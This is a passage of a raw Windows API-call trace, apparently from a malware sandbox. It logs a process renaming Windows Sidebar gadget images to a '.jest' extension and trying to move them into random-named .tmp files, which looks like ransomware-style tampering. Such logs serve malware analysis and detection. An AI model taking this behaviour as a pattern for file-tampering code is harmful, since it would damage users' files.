FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.560] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.560] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ő", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.561] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.561] GetTickCount () returned 0x1152166 [0126.561] GetTickCount () returned 0x1152166 [0126.561] GetTickCount () returned 0x1152166 [0126.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.561] GetTickCount () returned 0x1152166 [0126.561] IsWindowVisible (hWnd=0x30268) returned 0 [0126.561] Sleep (dwMilliseconds=0x0) [0126.635] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png.jest")) returned 0 [0126.637] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png", lpFilePart=0x18e6d8*="graph_up.png") returned 0x52 [0126.637] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb72006e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb72006e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x57, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 0x143ce48 [0126.638] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.639] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.639] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x201)) [0126.639] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x201)) [0126.639] GetUserDefaultLCID () returned 0x409 [0126.639] VarBstrFromR4 (in: fltIn=0x47944542, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.52") returned 0x0 [0126.640] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.640] GetTickCount () returned 0x11521b4 [0126.640] GetTickCount () returned 0x11521b4 [0126.640] GetTickCount () returned 0x11521b4 [0126.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.640] GetTickCount () returned 0x11521b4 [0126.640] IsWindowVisible (hWnd=0x30268) returned 0 [0126.640] Sleep (dwMilliseconds=0x0) [0126.642] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.642] GetFullPathNameA (in: lpFileName="qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp", lpFilePart=0x18e708*="qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp") returned 0x8e [0126.642] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png", lpFilePart=0x18e708*="graph_up.png") returned 0x52 [0126.643] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qejkgrwh1oj7jx4iihvjlsqksvi38jou9rj6bxegekd1tu3ebdvs9pghwh0chhdl5xh_8x5-ztboieqi0sfsezjsfyaeeot3uoxr.tmp")) returned 0 [0126.644] GetLastError () returned 0x5 [0126.645] GetLastError () returned 0x5 [0126.645] SetLastError (dwErrCode=0x5) [0126.645] GetLastError () returned 0x5 [0126.645] SetLastError (dwErrCode=0x5) [0126.645] GetLastError () returned 0x5 [0126.645] SetLastError (dwErrCode=0x5) [0126.645] GetFullPathNameA (in: lpFileName="qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp", lpFilePart=0x18e6e4*="qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp") returned 0x8e [0126.645] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qejKGRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b6a6571, cFileName="GRWh1oJ7JX4IiHVjLSqkSvi38joU9rJ6bxEgeKd1Tu3eBDvs9pGhWh0ChHdL5Xh_8X5-ztbOIEQi0sFSEzJsfyAEeOt3uoXr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.645] GetLastError () returned 0x2 [0126.645] GetLastError () returned 0x2 [0126.645] SetLastError (dwErrCode=0x2) [0126.646] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.646] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ŧ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.647] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.647] GetTickCount () returned 0x11521b4 [0126.647] GetTickCount () returned 0x11521b4 [0126.647] GetTickCount () returned 0x11521b4 [0126.647] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.647] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.647] GetTickCount () returned 0x11521b4 [0126.647] IsWindowVisible (hWnd=0x30268) returned 0 [0126.647] Sleep (dwMilliseconds=0x0) [0126.648] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\info.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\info.png.jest")) returned 0 [0126.652] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png", lpFilePart=0x18e6d8*="info.png") returned 0x4d [0126.652] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc58e56d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc58e56d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x57, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 0x143ce48 [0126.653] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.655] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.655] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x211)) [0126.655] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x211)) [0126.655] GetUserDefaultLCID () returned 0x409 [0126.655] VarBstrFromR4 (in: fltIn=0x47944544, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.53") returned 0x0 [0126.655] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.655] GetTickCount () returned 0x11521c4 [0126.655] GetTickCount () returned 0x11521c4 [0126.655] GetTickCount () returned 0x11521c4 [0126.655] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.655] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.656] GetTickCount () returned 0x11521c4 [0126.656] IsWindowVisible (hWnd=0x30268) returned 0 [0126.656] Sleep (dwMilliseconds=0x0) [0126.657] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.657] GetFullPathNameA (in: lpFileName="vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp", lpFilePart=0x18e708*="vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp") returned 0x8f [0126.657] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png", lpFilePart=0x18e708*="info.png") returned 0x4d [0126.657] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\info.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vsisizjwxwfl6axvh2ilmuoa6dzjtbisdjif83x_whzpp ui3ukg0kqdrwq col6kvg cjqo_vgoi9yot0ghjhqvgnl6 vhwusl c.tmp")) returned 0 [0126.659] GetLastError () returned 0x5 [0126.660] GetLastError () returned 0x5 [0126.660] SetLastError (dwErrCode=0x5) [0126.660] GetLastError () returned 0x5 [0126.660] SetLastError (dwErrCode=0x5) [0126.660] GetLastError () returned 0x5 [0126.660] SetLastError (dwErrCode=0x5) [0126.660] GetFullPathNameA (in: lpFileName="vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp", lpFilePart=0x18e6e4*="vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp") returned 0x8f [0126.660] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vsIsiZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x73497376, cFileName="iZjwxwfl6aXVH2iLMuoa6DzjTbIsdJIF83X_wHZPp ui3uKg0kQDRWQ COL6kVG cJqo_VgoI9yOt0gHjhQVgnL6 vhWusl C.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.660] GetLastError () returned 0x2 [0126.660] GetLastError () returned 0x2 [0126.660] SetLastError (dwErrCode=0x2) [0126.661] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ő", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.661] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.661] GetTickCount () returned 0x11521c4 [0126.661] GetTickCount () returned 0x11521c4 [0126.661] GetTickCount () returned 0x11521c4 [0126.661] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.661] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.661] GetTickCount () returned 0x11521c4 [0126.661] IsWindowVisible (hWnd=0x30268) returned 0 [0126.661] Sleep (dwMilliseconds=0x0) [0126.663] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png.jest")) returned 0 [0126.665] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png", lpFilePart=0x18e6d8*="info.png") returned 0x4e [0126.665] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x57, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 0x143ce48 [0126.666] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.668] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.668] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x220)) [0126.668] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x220)) [0126.668] GetUserDefaultLCID () returned 0x409 [0126.668] VarBstrFromR4 (in: fltIn=0x47944546, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.55") returned 0x0 [0126.668] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.668] GetTickCount () returned 0x11521d3 [0126.668] GetTickCount () returned 0x11521d3 [0126.668] GetTickCount () returned 0x11521d3 [0126.669] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.669] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.669] GetTickCount () returned 0x11521d3 [0126.669] IsWindowVisible (hWnd=0x30268) returned 0 [0126.669] Sleep (dwMilliseconds=0x0) [0126.670] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.670] GetFullPathNameA (in: lpFileName="aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp", lpFilePart=0x18e708*="aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp") returned 0x8f [0126.670] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png", lpFilePart=0x18e708*="info.png") returned 0x4e [0126.671] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aj7e8ln8c6svejwtzn3zzcl3tmc-3fpzcju-brtzrvj0dxsyoy_0svn1vj3hg2cduj9018hwadprlfmvdt_ahaxfmxjow4tigvm5v.tmp")) returned 0 [0126.673] GetLastError () returned 0x5 [0126.673] GetLastError () returned 0x5 [0126.673] SetLastError (dwErrCode=0x5) [0126.673] GetLastError () returned 0x5 [0126.673] SetLastError (dwErrCode=0x5) [0126.673] GetLastError () returned 0x5 [0126.673] SetLastError (dwErrCode=0x5) [0126.673] GetFullPathNameA (in: lpFileName="aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp", lpFilePart=0x18e6e4*="aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp") returned 0x8f [0126.673] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aj7E8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45376a61, cFileName="8LN8c6SvEJWtzn3ZzCL3TmC-3fPzcJU-bRtZrVJ0DxSYoY_0SVN1vJ3HG2Cduj9018hwADPrlfmVdT_AhAxFmxJoW4tiGvm5V.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.673] GetLastError () returned 0x2 [0126.673] GetLastError () returned 0x2 [0126.674] SetLastError (dwErrCode=0x2) [0126.674] NtCreateFile (in: FileHandle=0x18eb34, 